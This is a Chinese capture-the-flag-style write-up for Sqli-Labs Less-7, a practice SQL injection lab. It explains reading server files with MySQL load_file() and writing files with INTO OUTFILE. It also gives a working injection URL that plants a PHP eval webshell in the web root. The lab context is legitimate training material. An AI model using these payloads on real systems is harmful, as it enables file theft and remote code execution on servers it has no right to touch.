Chybeta

Sqli-Labs:Less7-writeup

Sqli-Labs是用来练习sql注入的好平台。project地址:https://github.com/Audi-1/sqli-labs
本文测试环境:使用phpstudy集成环境。mysql版本:5.5.53

Less7 是 dump out file

基础知识

利用sql注入可以导入导出文件,获取文件内容,或向文件写入内容。

load_file()

用于读取本地文件内容。有几个条件限制:

  • 需要有读取文件的权限
  • 需要知道文件的绝对物理路径。

假设C盘里有一个TEST.txt文件,内容为chybeta。几种读取方式如下:

直接使用绝对路径

注意对路径中斜杠的处理。

  • mysql> select load_file(“C://TEST.txt”);
  • mysql> select load_file(“C:/TEST.txt”);
  • mysql> select load_file(“C:\TEST.txt”);

以上返回结果如下:

1
2
3
4
5
6
+---------------------------+
| load_file("C://TEST.txt") |
+---------------------------+
| chybeta |
+---------------------------+
1 row in set (0.00 sec)

但若输入以下查询则会返回空即不成功。

mysql> select load_file(“C:\TEST.txt”);

1
2
3
4
5
6
+--------------------------+
| load_file("C:\TEST.txt") |
+--------------------------+
| NULL |
+--------------------------+
1 row in set (0.00 sec)

使用编码

ASCII

C:\\TEST.txt为例。对其进行ascii编码后利用char()进行查询:

1
mysql> select load_file(char(67,58,92,92,84,69,83,84,46,116,120,116));

返回结果:

1
2
3
4
5
6
+---------------------------------------------------------+
| load_file(char(67,58,92,92,84,69,83,84,46,116,120,116)) |
+---------------------------------------------------------+
| chybeta |
+---------------------------------------------------------+
1 row in set (0.02 sec)

十六进制

C:\\TEST.txt为例。对其进行十六进制编码后进行查询:

1
mysql> select load_file(0x433a5c5c544553542e747874);

返回结果:

1
2
3
4
5
6
+---------------------------------------+
| load_file(0x433a5c5c544553542e747874) |
+---------------------------------------+
| chybeta |
+---------------------------------------+
1 row in set (0.00 sec)

select

可以用来导出文件/数据到文件中。语法如下:

1
SELECT * INTO OUTFILE 'file_name'

或者

1
SELECT * INTO DUMPFILE 'file_name'

file_name处一般要指定绝对路径,否则就会导出到mysql的目录下。同时对需导出的目录有可写权限。对file_name,可以有以下几种编码方式,注意对路径分隔符的处理:

数据导出

1
2
mysql> select database() into outfile 'C:\\phpstudy\\WWW\\test\\1';
Query OK, 1 row affected (0.09 sec)
1
2
mysql> select database() into outfile 'C:/phpstudy/WWW/test/1';
Query OK, 1 row affected (0.00 sec)

这里是假设写入到文件1中。在实际测试中,要outfile出的文件不能已经存在,否则会报错。

1
2
mysql> select database() into outfile 'C:/phpstudy/WWW/test/1';
ERROR 1086 (HY000): File 'C:/phpstudy/WWW/test/1' already exists

写入webshell

outfile还可以用来写入webshell。前提是:

  • 需要知道网站的绝对物理路径,这样导出后的webshell可访问
  • 对需导出的目录有可写权限。
1
2
mysql> select "<?php eval($_POST['chybeta'])?>" into outfile 'C:/phpstudy/WWW/test/webshell.php';
Query OK, 1 row affected (0.00 sec)

Lees 7

payload:

1
http://localhost:20000/sqllab/Less-7/?id=1')) union select 1,2,'<?php eval($_POST["chybeta"]) ?>' into outfile "C:\\phpstudy\\WWW\\test\\less7.php" %23

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】